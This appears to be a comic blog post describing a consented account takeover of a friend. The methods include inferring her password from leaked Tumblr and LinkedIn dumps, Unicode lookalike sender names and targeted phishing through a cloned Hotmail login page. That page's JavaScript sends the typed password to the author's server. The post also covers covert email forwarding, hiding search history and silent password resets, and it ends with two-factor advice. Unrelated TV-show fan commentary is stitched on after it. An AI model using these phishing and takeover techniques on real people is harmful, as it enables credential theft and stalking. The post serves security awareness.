But, I realise, far too late and to the live studio audience's disappointment, that would violate the "don't interfere with her daily life" part of our deal. If I reset her password, this will lock her out of whatever account I reset. So, I have to get access stealthily. This will uh heavily involve knowing her password rather than resetting it.

For a long time I consider doing the renaissance-era "send 'em a word doc with a macro in it to get control of their computer then submit to defcon" but I worry that sweet young millennials like Diana don't even use Word because they do everything on their phone or Google Docs while simultaneously consuming 17.28 avocados per second look it up.7

I guess that makes the most valuable thing in her life her email. If you remember earlier, I cunningly divined her email address in Part 1, so I'm basically halfway there. If I get her email, I can just reset her password for Facebook, Twitter, Fashion Fantasy Beach, etc. My cyber attack vector cyber entry point exploit would then be typing the password into the Hotmail login screen using the Google Chrome Web Browsing Software.

The shady password market

Alright listen we're about to go into password paradise so buckle whatever it is you normally buckle. Hackers right, they hack websites. Hoo boy they just love to pop those hypertext pages. Like Dropbox, MySpace, LinkedIn, Adobe, Tumblr, and many, many more. They try to steal everyone's username and password from these sites by making a copy of the database and taking it. Sometimes, the database of usernames and passwords they steal gets released on the ~dark web~, for free or for money. Conveniently, there's a website (https://haveibeenpwned.com) which lets you type in your email address (not your password you big bozo) and find out whether any of your passwords have appeared in these leaked stolen databases.

But.... nowhere does it say you have to type in your email address. Cunningly, I type [email protected], executing hacking.

Here we can see a couple of websites Diana has accounts on have been hacked. The only one which had passwords stolen for Diana was Tumblr. So the next goal is to acquire the Tumblr database leak from 2013.

Let's get the old Tumblr database

I try to use my ~hacker connections~ to get a copy of the Tumblr database. I meet a someone whose forum handle is like d4rkrayne or whatever in a local park at 11pm. A colossal vape cloud leads me to him, waiting under a tree, puffing furiously. I look down my 1987 mirror-tinted aviators and say "how much?" (my voice comes out several octaves lower and all grizzly like a 40-year-old generic white dude movie star with like, juuust the right amount of stubble). He sells me the database on a pile of 442 floppy disks for 5,000 credits. What a ripoff. I teleport behind him, say "nothin' personal, kid", and hoverboard-kickflip into the night.

...I download the Tumblr database from a publicly accessible, unauthenticated, absolutely non-dark web website. I scramble to get back in my black hoodie, and whip on a second pair of sunglasses over the first. I'm in.

Ancient forbidden password rituals

The Tumblr database dump - a hacking Quest Item - is one long file with lines that look like this:

[email protected]:3a1920ceb2791d034973c899907847cb58810808

That weird thing after the email is a password hash. A password hash is like a scrambled up version of the password. You can't unscramble it. If you know the password though, you can scramble it and get the same omlette, if ya know what I'm sayin'🍳.

My goal here is to figure out what Diana's actual password is, given that I have her password hash. This process is commonly known as "hacking".

These particular passwords are not just hashed, but also salted8. This means that before each password is hashed, the good folks at Tumblr added an extra bit of text to the end of each one. So instead of hashing, say, cooldad64, they'd hash cooldad64HNc62V8.

Finding the salt

There's no official information on what kind of hashes are in Tumblr.txt.

The fully sick attack I want to do is: hashing a big list of passwords I just happen to have lying around wow and checking if any of the hashes match Diana's password hash. This is called a "dictionary attack", because the person who invented it was actually a dictionary. The trouble is, you need to know the salt to do this.

I google around some more, bask in the glory of very poorly constructed sentences on some ~hacker forums~, and ask my ~hacker connections~ in an attempt to find out what the salt is.

But I can't find it because fun fact I'm a total fraud.

Can I get the password... without the salt?

So remember how Tumblr salted the passwords by sticking some random stuff on the end to thwart wannabees like me?

The trouble is.... They stick the same thing (in my example, HNc62V8) on the end of every password. This isn't considered the best practice here in the year of our lord 2017, because it means that users with the same password have the same password hash. The emails and passwords would look like this:

[email protected]:cooldad64HNc62V8 [email protected]:cooldad64HNc62V8 [email protected]:p@triots69HNc62V8 [email protected]:Bongo1HNc62V8

I search Tumblr.txt for not [email protected], but for her password hash. (3a1920ceb2791d034973c899907847cb58810808)

I find more than 20 Tumblr users with the same password as Diana aw yeah

[REDACTED]@email.com:3a1920ceb2791d0... [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0… [REDACTED]@email.com:3a1920ceb2791d0…

This makes me think that Diana's password is probably not very unique, since all these other Dr. Who enthusiasts on Tumblr have also thought of it.

But also. Now I've got 20 other email addresses with the same password as Diana. Thanks to the miracle of everyone using the same password for everything, I've got a way to find Diana's password.

I just so happen AGAIN WOW WHATTA GUY to have the LinkedIn database dump from when LinkedIn was 360 whirlwind slam hacked in 20129.

Why do I care about the dump from the LinkedIn hack, you ask, fatigued from many gags and desperate for the part where we actually hack Diana?

LinkedIn also hashed their passwords in 2012, but they didn't add that freshly ground pink Himalayan rock salt to them. Also, the password hashing method they used is cripplingly insecure10 (SHA1 for all you extremely online people out there). Because of these flubs, most (>97%) of the passwords in the LinkedIn dump are available in plain text, not even hashed at all thanks to the hard work and GPU cycle donations of people in the password cracking community.

I get the 20-ish Tumblr emails who have the same Tumblr password as Diana, and look them all up in the LinkedIn dump. They're not all in there, but good enough baybee.

[REDACTED]@email.com:qwerty1 [REDACTED]@email.com:killer6 [REDACTED]@email.com:qwerty1 [REDACTED]@email.com:qwerty1

More than 80% of them have the same LinkedIn password. (Which we will say is qwerty1.)

This has gotta be Diana's password from Tumblr in 2013. Since all these people had the same password on Tumblr, and most of them have the password qwerty1 on LinkedIn, it's very likely that Diana's Tumblr password is qwerty1.

I try to log in to her Hotmail account with the password qwerty1.

"Incorrect password"

Wait please this was supposed to be easy please no why is it like this don't do this to me

Oh come on I was supposed to be hacking a normal person who uses the same password for everything this isn't fAiR. There are entire criminal industries built on the idea that people use the same password all over the place because nobody cares enough to remember more than a few passwords because they've got things to scroll on their phone okay.

Somehow, Diana is one of the rare few people who is not a security expert but has more than one password for her stuff.

I try this password on a few of her other accounts (Facebook, Twitter, iCloud) and it works on none of them11.

On Facebook, I'm conveniently informed that this password was her password 5 months ago, but isn't any more.

Looks like I just missed out. The plot thickens audibly.

This was supposed to be the part where I say "and then I logged into her email 100% stealthily", equip my third consecutive pair of sunglasses, and move on to the next bit. But alas, Diana was only in one leaked password list on haveibeenpwned.com at the time, so there goes that.

Fiiiiiiiiiiine whatever I don't even care I'm not crying, you're crying. Time to do this the old fashioned way. And by "the old fashioned way" I of course mean "the way government hackers do it".

Part 3: Hackinggggg (again)

Social engineering

Alright so we're just going to trick her into telling me her password. Is that cheating? Basically. But absolutely I'm going to do it anyway.

To get into her email, I need to know Diana's email password. Resetting the password won't work (since that would interrupt her life by locking her out of her email). I don't really wanna follow her around, man-in-the-middle attack her phone or laptop when it connects to insecure WiFi and steal her browser session, so that leaves us with: phishing.

You may have heard of "phishing", the process of emailing someone and tricking them into doing something, like giving you their password.

Now, hold up bucko, you're probably thinking of the kind of phish where someone says "good day sir I nigerian prince give you $1 million dollars USD u are royalty 2 me" etc. etc.

Or maybe you're thinking of someone sending an email that says "[heavy breathing] pls clikc on my urls http://click.here.to.get.ripped.in.three.weeks.verylegit.link/6x9M;PjxrY=WrS33n$Hcracked__767windows8+bitcoin.gpg.exe"

But with nothing more than paperclips, chewing gum, a single fidget spinner, and an advanced psychology degree, we can not only steal Diana's password, but do it without Diana realising she's been tricked.

Hand-crafting artisanal phishing emails to sell at the Sunday markets

Let's write down what we want to do:

Get Diana's email password

Don't let her realise that the email is not legit

Hmm I guess there were only two dot points uhh sorry that doesn't seem worth having dot points at all ummmm

So anYwAy the trick to phishing is that you don't want to engage the victim's attention. You want them to interact with your email mindlessly, without thinking it's a big deal. Kinda like how you click through email notifcations from Twitter (or anything that sends you email notifications) without really thinking about the email, because you're thinking about what awaits on the other end.

The other way, rather than distracting the victim, is to misdirect them. You give them something that's way more interesting to pay attention to than your dodgy link. Common examples of this include emails that say "OMG your account has been HACKED, log in here to fix it".

But of course, you log in to a fake website which steals your password.

Wow actually that sounds pretty12 easy13 doesn't it? Let's try that then.

I'll make an email that says "Your Microsoft Account Has Been Hacked And Uh If You Don't Log In Now It Will Get Deleted So Uh Yeah You Better Log In".

Instead of designing my own legit-looking Microsoft email, it's easier to just copy one that Microsoft has already made. I search my hotmail account14 for an automated email from Microsoft.

I use the incredibly cutting edge "Inspect Element" feature of the popular hacking software, Google Chrome, to edit the text of the email but keep the look. As I right click and hover over "Inspect Element", my laptop instantly explodes, I get root access to Microsoft, I'm added 50 times to every NSA watchlist, my text permanently changes to green-on-black, and I'm accepted to DEFCON.

Now it looks like this:

I can't send the email from my email account, because I'm not a total amateur. I use the popular hacking tool The Microsoft Sign Up Screen to make the hotmail account "[email protected]". If you look closely, "account" is spelled wrong. I used "msft" because it wouldn't let me include the word "microsoft".

I try to register an account with first name "Microsoft" and last name "Account Team". The signup form doesn't let me. Blast. Thwarted by Microsoft lackeys. Probably, Microsoft doesn't let you have "Microsoft" in your account name to prevent, uh, exactly what I'm doing. Hmmm. I don't really want to have a typo in the name, like "Micorsoft", since Diana might notice that.

Instead I, a level 8 Wizard, cast a spell to swap the "o" characters in "Microsoft" for a special unicode character (like an emoji but much worse) that looks exactly like an "o". It's not, of course, it's our old friend, the Greek letter "Omicron". Here's the two pals side-by side:

οo

Awww, just look at 'em having a blast. These little guys might look different in the font your device is using, but in the hotmail web UI font they look juuuust right👌.

So now, my account's name isn't "Microsoft", It's "Micr[omicron]s[omicron]ft", according to the code that checks whether you have a valid name when you sign up for an account.

I'm sure you're wondering how this whole process ends up with me getting Diana's password, laughing manically in my comically giant leather chair. After she clicks the link in my legit looking email, she'll be asked to log in15. The page she goes to will look just like the Hotmail login page, but it will really be a copy that sends the password to me.

How can I make such a page? Well I'll clone the real page, register a domain that looks similar to login.live.com, host my cloned page there, and so on. Juuust kidding, the static website hosting service Aerobatic happens to also be an excellent phishing service.

I can register [anything].aerobatic.io, and deploy my static HTML to that domain with their command line tool for free.

Shout outs to Aerobatic for the smooth smooth phishing UX. Use the referral code DIANA to be immediately reported to the NSA.

I copy the existing login.live.com page, and pre-fill [email protected] in the "email address" field. I deploy this page extremely trivially to login-live.aerobatic.io, and equip my fourth pair of sunglasses (don't worry I've earned it). This almost looks right, but the real Hotmail login form has a bunch of stuff after the / in the URL, so I copy/paste some of that good stuff too16.

Here's the exact URL, if you're interested. Also if you're not interested. It's gonna be there either way.

https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin

Perfect17. This looks similar enough to fool a cursory glance, and that's all we need baybee. Maybe she'll think "why do I have to log in again? I'm already logged in to my email?", but the email asks for a "Secure Login" (whatever that is).

Here's what the login page does:

// When the Login button is clicked or Enter is pressed $('#passwordForm').on('submit', function() { var password = $('#password').val(); // Create an image with a URL that points to my website. // The browser will request this URL in an attempt to load the image (which will fail since that URL doesn't exist) $('body').append('<img src="a-website-i-own.com/DIANA?'%20+%20password%20+%20'" alt="image">'); // Wait one second to simulate loading time (adjust to 0.1s if you don't live in Australia sigh), and then go to the real Hotmail login page. // Diana will already be logged in, so this will seem to her exactly like she's just logged in to hotmail. window.setTimeout(function() { window.location = 'login.live.com' }, 1000); return false; }

This works by sending her password to me when she clicks "log in". The password is sent a website of mine. Then I send her along to the real Hotmail, so it looks just liked she logged in. The website logs everything that gets sent to it, so I can then search my logs for "DIANA" to find the log containing the password.

This is all what I'm hoping for, anyway. The email says she has 48 hours to comply to create time pressure. Telling you that you have to do something right now is a common tactic to make you think instinctively and irrationally.

I login to my fake "Microsoft Account Team" hotmail account, send the email to [email protected] and wait for her to have herself a red-hot browse.

About 12 hours later, I check my logs to see if she's typed her password.

She doesn't.

I wait another 12 hours.

Still nothing.

I send the email again, wincing slightly, this time saying she has 24 hours.

Still nothing.

Well damn

I guess that didn't work. She must have just ignored the email as uninteresting18

I try to think of non-phishing ways to get her password but really phishing is just too good. The nice thing about being the attacker is that you can put your eggs in many baskets. Diana has to defend against all of my eggs, and I've got baskets for days. Time for round 2.

Sniper scope targeted phishing blap blap

I reach under my desk, unwrap a parcel addressed to "DIRECTOR OF CYBER, NSA", slide out a yellow and black canister labelled "CHINA", break open the safety seal, and use safety tongs to extract the following red-hot phish.

This time, instead of using a generic idea that would work on anyone ("suspicious account activity"), we'll make something special just for Diana. Kinda like hand-knitting a beanie, but comparatively less wholesome.

I Google "google docs microsoft equivalent" and come across I dunno SkyDrive or SkyDocs 365 Pro or something or OneDrive look I dunno just look it's Google Docs but Microsoft so good enough for me.

I make a convincing looking resume (in Google Docs, of course) and copy it into a OneSkyCloudDrive 364/2 Days: Final Remix HD+ Doc.

Let's play: who's gonna send this doc to Diana?

I find a local company that's likely to legitimately want to talk to Diana, and search for a recruiter who works there on LinkedIn. I make someone with the same first name, but a different last name as a real recruiter from this company19.

I make a fake gmail account called Kathleen Wheeler, using a stock photo of a middle-aged western woman as the profile photo.

Here's what Kathleen is going to email Diana.

Looks legit riiiight?

The questions at the end are just some garbage I made up, but the point of them is to distract Diana right after she reads the "click here".

I put Diana's real phone number at the end to make it more convincing. This email is obviously meant just for her. It also makes sense for the phone number to be there, since presumably whoever listed Diana as a referee gave the phone number to Kathleen.

At the time she types her password, we want Diana to be thinking of what's on the other side of the login screen.

The delicious bait here is that this email says "someone said they know you", and you have to read the resume to find out who. Aw, but the resume is behind a pesky link. ~Guess you better just click on it~. LinkedIn also does this in their, um, "engagement" emails which say things like "you have 2 new messages", but not who they're from or what they say.

When Diana clicks on the link to the "resume", it will take her to the same fake login page (with her email pre-filled) as before. When she types anything in the password box, the site will wait one second and then send her to the Microsoft Google Doc™. The one-second wait is to simulate Australian internet speeds HAHAHAHAhahahahahah this sucks

She'll find that she doesn't know the person, probably because they're completely made up. They have work experience at real workplaces nearby, and went to the same university as Diana at around the same time, so hopefully their resume passes a cursory glance20.

Finding an unfamiliar resume is a sufficient, but not particularly satisfying conclusion to the adventure of the weird email from Kathleen. But of course, by then it's too late, I'm sitting in my ivory tower surrounded by passwords.

I make sure to send it during business hours, from "Kathleen""", pull a necklace from under my shirt dramatically, kiss it, look up at the sky, and wait.

Waiting

That night, I check my website's logs for any passwords from my fake Hotmail login form.

- - [[date]:16:32:30 +1000] "GET /DIANA?qwerty1 HTTP/1.1" 404 4702 "https://login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=http...." "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

"Got it!"

..... is what I think, at first.

Particularly keen readers will have noticed that the password Diana has typed into my fake Hotmail login page is... the same password as we found for her in the Tumblr database.

This is not her Hotmail password, and everything is terrible.

From this we can draw two conclusions:

Diana doesn't know what her Hotmail password is

She now thinks her hotmail password is qwerty1, since she typed it into my fake login page which accepts any password, and it worked

I almost gave up at this point, but a last-minute burst of desperation/frustration/final destination helped me work up the courage to have another shot here in Act 3.

By this point my fake Microsoft Account Team email account has been soft-banned by the good people at William Gates Inc. for sending so many obvious phishing emails. I have to prove I'm a human and add my phone number to the account, and then it unlocks and I can edit the Microsoft Google Doc.

I hastily make a new fake resume of significantly lower quality than the first one, and make a crucial change to my fake login page.

My fake login page now says "wrong password" no matter what you type in the first two times you try typing something. If you type qwerty1, then the password counter doesn't go up21.

What do people do when they get a "wrong password" error? Try all of the 3 or 4 passwords they use for everything, of course.

I want to try and get Diana to type qwerty1, get a "wrong password" error, and then just unload all her passwords into my form.

Diana replied to my failed email with "sorry I don't know this person", and so Kathleen replies with, "wrong resume lol, here's the new one" even though this makes zero sense in the context of our email exchange. I'm hoping Diana will just be busily checking the email on her phone and not really notice this discrepancy.

I use a different font from the "form" when typing as Kathleen to make it look like this is a form that gets copy/pasted to every candidate. This makes Kathleen seem like she does this all the time in her big bustling, 100% real office. I also do my best to imitate the tone of a polite but stressed out office worker. You can almost hear the office politics. It's called method acting.

Time to stressfully wait for Diana to check for her email again, so now would be a good time to read out some donations.

Hours later

It works.

108.162.249.169 - - [12/May/2017:13:39:43 +1000] "GET /DIANA?wertyu2 HTTP/1.1" 404 4702 "https://docs-login-live.aerobatic.io/?passive=1209600&continue=https%3A%2F%2Faccounts.live.com%2FManageAccount&followup=https%3A%2F%2Faccounts.live.com%2FManageAccount&flowName=GlifWebSignIn&flowEntry=ServiceLogin" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1"

I get only one password from Diana (typed multiple times), but it's different to the last one I got (qwerty1)22.

I wait until she's asleep based on her Facebook Messenger last active time and log into her email using the elite hacking method of typing her password into the box.

The reason I waited until she was asleep was in case Hotmail emailed the account saying "New Sign In". It doesn't, and I'm rewarded with her email inbox screen in its full glory.

Angels sing softly above me. A small yellow bird lands on my shoulder and begins to chirp softly. I get several emails from the bullies in high school - they're really sorry and they've done a lot of soul searching and they want to make it up to me and I should expect premium fruit baskets on my doorstep in the coming months. Global warming halts.

"But that would never work on me"

It would tho.

Perhaps some of you in the audience are thinking "Wow, this Diana person must be pretty dumb to fall for that. Good thing I'm a web browsing prodigy with a colossal brain and many opinions, so that would never happen to me."

The thing is, right now you're very alert, because you're reading a blog post about hacking. If you were just reading your email, half-paying-attention on a train as normal, security wouldn't likely be on your mind. If sending trick emails is good enough for whoever the NSA, are emailing, then it's probably good enough to work on you and me.

I guess what I'm saying here is "don't go shaming phishing victims plz".

Anyway sorry back to haͅck͐i̥n̏g��

Part 4: HACKER VOICE I'M IN

I immediately try Diana's email password (wertyu2) on her Facebook, Twitter, LinkedIn, iCloud, and on her other email addresses. None of them work because I've chosen someone with slightly above average personal security to target.

The obvious next step is to forward all her email to me (so I don't have to keep logging in to her email). Before I set up email forwarding, I try it out on a hotmail account I control. I'm testing to see if setting up "forward all your email to this address" sets off any notifications I'll have to delete, or notifies you in any other way.

In gmail, when you forward all your mail to another email address, the other address gets emailed a code, and also a big red bar appears on your gmail inbox saying "you're sending literally all of your email to this address FYI" for 7 days.

I type in my email address into my test hotmail account, and click "forward all my mail here pls". It saves. I check both email inboxes for a notification email. There isn't one. I've just backdoored this email account and no fuss has been made whatsoever. OH well at least hotmail has NoMansSkyDrive 2.8 Remastered XL Online or whatever.

An interlude from Diana

Diana replies to my email saying she doesn't know this person either. She's a little suspicious, so I try and say something that will close the conversation.

Diana doesn't reply.

Hey remember how you can search email?

Now that I have Diana's email password, I want to search her email for more passwords, and use those passwords to get more, and so on, like a REAL hacker.

Try going to your email and searching for "password". Betcha there's passwords in there.

In Hotmail, when you go to search something, the last 5 searches you've done pop up as suggestions.

This means that if I search for "password", Diana will notice "password" in the search history. That would be a really lame way to get caught.

To get around this, I: * Wait until Diana is asleep * Write down her last 5 searches * Search for "password" * Look at the results * Search for her last 5 searches again, in reverse order

Since only the last 5 searches are shown, by repeating the searches in reverse order, the search history looks exactly the same.

Much to the disappointment of the live studio audience, I don't find anything particularly useful. I find the two passwords I already know (qwerty1 and wertyu2) several times, and one other password which I again try on all her accounts, but doesn't work </3.

I hang out in Diana's email for several months. Every so often I check it. I find her signing a contract for a job, and so I get her passport number, signature, phone number, bank account number, and basically everything I'd need to impersonate her. I don't really232425 want to impersonate someone's government-issued ID, so I leave this alone.

At one stage, I'm browsing through hit political discourse platform and opinion conveyor belt twitter dot com, and I notice Diana tweet something along the lines of "Finally spent my day off consolidating my 4 email accounts into 1, feels good to be organised".

I panic a little. Have I been found out? I log in to [email protected] (which still works, thankfully) and see that all her emails have been archived. I poke around in the email forwarding settings, and I see that things have changed. Her email is no longer being sent to my email address, it's being sent to [email protected] (presumably the new email that Diana now forwards all her mail to).

This raises an important question. How did Diana not notice my email address in the "forward all mail to:" box? Did she see it, and just mindlessly delete it?

(When I interview her after all this, she says yes, that's exactly what she did.)

What now?

Normally it would end here. Mission accomplished. I'm in control of her email. I could cause catastrophic damage to Diana's life if I wanted to (I don't btw). There's potential for endless gags, limitless goofs, unlimited japes, infinte jests, etc.

But.. it seems like an awful shame to just... leave. That's why I start work on a little' somethin' called

Operation Luigi

Everybody just LOVES Mario's green friend Luigi! He's a Certified Good Boy! Just look at that boyish charm.

Why not brighten up YOUR social media presence with this game boy?

Well gee I'm sold after that delightful interlude from our sponsor, The Nintendo. Let's get Diana some uncut, Colombian Luigi.

Step 1: Get in to her Twitter and LinkedIn

So, I want to:

Get access to Diana's Twitter

Not lock Diana out

Not alert Diana that I'm up in her stuff

I could just phish her again for these passwords, but I'm already a salty old fisherman by this point.

Since I have access to her email, I could reset her Twitter password. The problem is, when you reset your Twitter password, you get logged out of Twitter in Chrome, the Twitter app, and anywhere else you might be logged in. So you have to retype your new password. One of my rules was that I wouldn't interrupt Diana's life, so I need her to be able to log back in to Twitter when I force her to log out.

I come up with a simple 8-step plan to do this, with 4 easy repayments of 2 steps.

Wait until Diana is asleep

Disable Diana's email forwarding

Go to Twitter and reset her password

Click the password reset link that gets emailed to her

Set her password to qwerty1

Delete the password reset email

Delete the "New Twitter Sign In" email

Re-enable email forwarding

The combo move in this is setting her password to qwerty1. When I phished her email password, she tried to log in to her email with qwerty1 even though that's not her password. This tells me that she thinks her password for everything is qwerty1, or at least, that's what she'll try if she's not sure. The technical term for this is next-level mindgames💻💻💻.

I do the steps above, and I'm now logged in to Diana's Twitter account. I tigheten up her Twitter security settings because I'm a Good Boy. I HOPE that Diana will be able to log back in as well, and not wonder why she suddenly got logged out. I wait stressfully for her to tweet something, and after a day or so she retweets a cute doggo, so we're good to go.

Now I want to do the same thing on popular dating website LinkedIn. This will involve signing Diana out of LinkedIn on all her devices, and I don't want her to get too suspicious, so I wait a week. I do the same process as with Twitter. This time I don't even wait until Diana is asleep, because I'm young and invincible.

As I'm setting Diana's password on LinkedIn back to qwerty1, LinkedIn doesn't let me.

Is this because qwerty1 was a password present in the LinkedIn hack in 2012? Or because it's just a common password? For a brief moment I panic, but then I realise I can just set Diana's password to her email password, wertyu2.

Astute readers will have noticed this little guy in the screenshot above.

LinkedIn is asking me if I'd like to log out of Diana's LinkedIn account on all devices while I'm resetting the password. That's REAL nice of you to offer old mate LinkedIn but I'm absolutely golden as it is in terms of logouts so don't even worry about it I'll be just fine how it is NO REALLY don't trouble yourself, I'm sure your CPU cycles are busy displaying everyone's 6000 word Thinkpieces about "Cyber" for "Non-technical Business Decision Makers".

Yeah so I submit that form 100% checkbox-free, and Diana remains logged in to LinkedIn on all her devices, none the wiser.

Step 2: Bring in the green boys

I enlist the help of a talented friend to photoshop everyone's #1 boy next door Luigi subtly into Diana's profile picture on Twitter, like a green guardian angel.

I can't show you Diana's pictures, so here's me doing similar photoshops to Your Boy And Mine, Five Time Celebrity MasterChef Winner And The Inventor of Bitcoin, Give It Up For Dr. Barack Obama Everybody:

At about this time I tweet about our sweet green boy so that if Diana sees her guardian angel Luigi, she'll know it was me. This is like my calling card except.... well it's not really like a calling card it's pretty dorky to be honest but just LOOK at that wholesome lad, you just KNOW he'd help you fix a flat tyre, and he'd just be too gosh darn polite to correct you if you said "thanks green mario" so really if you think about it I guess it IS like a calling card.

Next up I log into her LinkedIn account, get overwhelmed by her 15 LinkedIn notifications, 7 new profile views, 11 new Key People To Bother, and several pop ups telling me about new features I can use to invite people to join my professional network on LinkedIn™®©. Then I change her profile picture to my really good version.

For about a week, Diana continues her Twitter and LinkedIn(?) usage whilst being silently Luigi'd. Diana goes on viewing what I can only assume to be the sharpest international political discourse on Twitter, and getting slightly more LinkedIn profile views from observant recruiters who are also fans of the hit 2001 ghostbusting game, Luigi's Mansion.

Well that just about wraps up Operation Luigi. Glad that's all done and dusted.

Although...

I'm basically a Luigi technician at this point, and it would be a shame to let all that work go to waste. So let's just do

~one more thing~

Operation Waluigi: A dark turn for mature audiences

Waluigi, true to his character, is much more direct.

Damn RIGHT this new profile strength is "Advanced."

Please enjoy these half-baked opsec-enabled26 tweets27.

I also make Diana follow a bunch of Waluigi fan accounts (there are a lot), Nintendo of America, and @EmojiAquarium because it's a damn good account.

Part 5: Epilogue

Diana likes her new Waluigi life so much she keeps it all up there, and even changes her Facebook photo to a Waluigi'd one.

I meet up with her and ask her about her side of the story a few days later.

Here are some choice quotes:

"I've since listened to a lot of Waluigi songs" "Waluigi is the ultimate symbol of postmodernism, he exists only as a foil"

I ask her "How do you think I did it?". She says I must have hacked her email and reset her Twitter password, but she has no idea how I hacked her email.

When I show her the email chain with Kathleen on my computer her jaw drops for several seconds.

"You catfished me!"

We go back to the same ramen place after the interview. The credits roll.

"wait but i am very afraid after reading this blog post, how do I not get 360 noscope hacked like diana tho"

Hey kids, it's me, "Alex". We've had a lot of fun today, but now it's time to talk about the real issues. The moral of this story is that it's really easy for someone else to know your password. Fret not, for you are young and extremely online, and it's not too late for you yet.

Step 1: Go to https://haveibeenpwned.com and type in your email address. This doesn't actually do anything, it's just to instill sufficient fear in you.

Step 228: Go to your email and enable "Two-step Authentication". You can go to https://www.google.com.au/landing/2step if you use gmail. If you use Hotmail then I dunno, there's probably like a SkyCloud 360 X LIVE subscription you can buy that lets you do it.

Now, as well as your email password, you also type in a code from an app on your phone. Or you can have the code SMSed to you on your pastel-pink flip phone if you wanna relive the 90s29.

If Diana had Verified Good Content Two-step Authentication turned on, then I would have had to get a two-factor code AND her password. I would have had to either:

Phish the code as well as the password (but the code expires in less than 60 seconds)

Physically go to the same place as her, connect to the same WiFi, and steal her browser session

Email her a Word Doc with a macro in it that gives me control of her laptop, and steal her browser cookies from it

Call up her phone provider and trick them into pointing her phone number at my SIM card

All of these are more work and higher risk, and so hackers often just move on to lower hanging fruit. That's you in this situation. You're the delicious fruit. And the hackers are.... giraffes? Yeah. Watch out for giraffes.

Freshly baked shoutouts to My Absolute Homeslices for being my blog-review senpais, Diana for being chill, and to the hacking software released at DEFCON 25: Aerobatic dot io

If you want to talk to me about this, hit me up in the tweet zone (@mangopdf) or direct your browser to mango.pdf.zone

A careless mistake ↩︎

Obviously the best way is to not give permission to meeeeeeeee😎 ↩︎

I found her LinkedIn by just googling her name #pwned ↩︎

wait did he just say "hacker voice I'm in"? ↩︎

I haven't realised yet that successfully resetting Diana's iCloud password would lock her out of her account and violate our agreement. This is because I'm a weapons-grade bozo. ↩︎

On haveibeenpwned.com, Diana's email address shows up in a data dump from this website. It's a game of some sort? ↩︎

Later when I interview Diana, she says "I use exclusively Google Docs", so I was right! No comment about the avocado thing. ↩︎

I'm not making these up, these are real words that real hackers use I swear. ↩︎

Diana didn't have LinkedIn in 2012, so she's not in the list. But some of the 20 people who had the same password as her sure did. ↩︎

tag urself lol ↩︎

I also try guessing what her password could be based on the password I already have for her (qwerty1) but it doesn't work. ↩︎

low ↩︎

effort ↩︎

From 2002 do NOT @ me ↩︎

This makes no sense, since she'll be reading her Hotmail, and then asked to log in to the same thing she's already reading, but NON-fake websites have bad enough UX that this is believable. ↩︎

I steal all that good stuff after the URL from the Google sign-in page ;>_> ↩︎

Awkwardly, Hotmail changed its login screen shortly before this blog post came out. It used to look like that I swear. ↩︎

There are a few reasons this email wasn't attention grabbing. It was automated, from a company (not an actual human), and wasn't specifically about her, but about her account. ↩︎

When I interview her later, Diana says she looked up the company! She even says that getting back to Kathleen was on her to-do list, the poor thing. ↩︎

Months later, I notice I've left a "Lorem ipsum dolor sit amet, consectetur adipiscing elit" as a dot point on the resume. ↩︎

This is a genius suggestion from one of my ~hacker connections~. ↩︎

At this point Diana has been completely gaslighted as to what her hotmail password is, because my phishing site said the wrong password was right, and then said the right password was wrong, and she thinks it's the real Hotmail. ↩︎

I mean it WOULD be pretty funny ↩︎

And wow you could do anything, book flights, get a job, change your name... ↩︎

Just letting any Government Agents reading this know that I did NOT end up doing anything with this and I love democracy. ↩︎

If you really tried you could probably find Diana's Twitter from these. You would then be a hacking genius, binary flowing through your veins, and have a CVE number assigned to your personally. I, a humble wannabee, am relying on your strict ethics to prevent you from, uh, stalking the friend of some guy whose blog post you read. You can do it. I believe in you. ↩︎

Having said that, I don't really have an overwhelming amount of faith in the idea that someone won't try to do that. You can stay chilled out, dear reader, since before this blog was published Diana and I had a nice chat and fixed up her personal security. ↩︎

Password managers like LastPass are also good for giving you unique passwords, but I reckon 2FA is the best effort:security ratio value For Normal People Tee Em. ↩︎

But, this is less secure, since your phone number can still be hijacked. ↩︎

#luigi waluigi

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tellywoodtrash · 7 years

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ishqbaaz 29.08.17 lb

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lo shuru sanskaari music. 🙄🙄🙄

never getting over the “fuck me” bedroom eyes they’re giving each other. 😏😏😏

gauri feeding shaktiiii cake. gosh, what even do you call it when you start shipping a new parental figure for a character? there are no words in fandom culture for all the dynamics this show makes me ship!!!! 😫😫😫

... such unnecessary tension. just eat the damn cake, omkara. 😒😒😒

shivika giving each other “kuch karnaaa padegaaaa” looks 🙃🙃🙃

yes plz, turn for you to play shipper now. yell at omkara alternately till he fucking fixes this ish. 😒😒😒

shaktiji is practically glowing from all the #shivika shipping. happiness is a good look on him. 😊😊😊

who’da thunk that i’d eventually be rooting for shakti as the good parent? in any case, he did less damage than pinky, so there’s that. 😕😕😕

god i hate this stupid “abhi tak shaadi nahi hui hai, toh door raho” nonsense in remarriage tracks. they were living together for more than six months. they could have been having crazy monkey sex in that time for all you know. bloody nonsense. 😑😑😑

i am happy that anika looks just as dismayed as shivaay at this development. 😌😌😌

LMAO RUDRA, HAATH KO AAYA PAR MOOH NA LAGA HAHAHAHAHAHAHAH 🤣🤣🤣🤣🤣

the dubbing of this damn scene... 😐😐😐

ohhhhhhhh great. pinky’s here to fuck up the happy. 😒😒😒

omkara’s instant bitch face. love itttttttt. 😆😆😆

nope. shakti is firmly #teamShivika. SHAKTIJI OUT!!!!!!!!! 😙😙😙

i think omki took that “8 baje kamre ka darwaaza bandh” instruction from rudra a little too seriously. he looks mad at shivaay for making him leave this late at night. 😋😋😋

honestly #me. don’t you make me leave my bed/room after 8 pm. you won’t like my grumpy ass. 😒😒😒

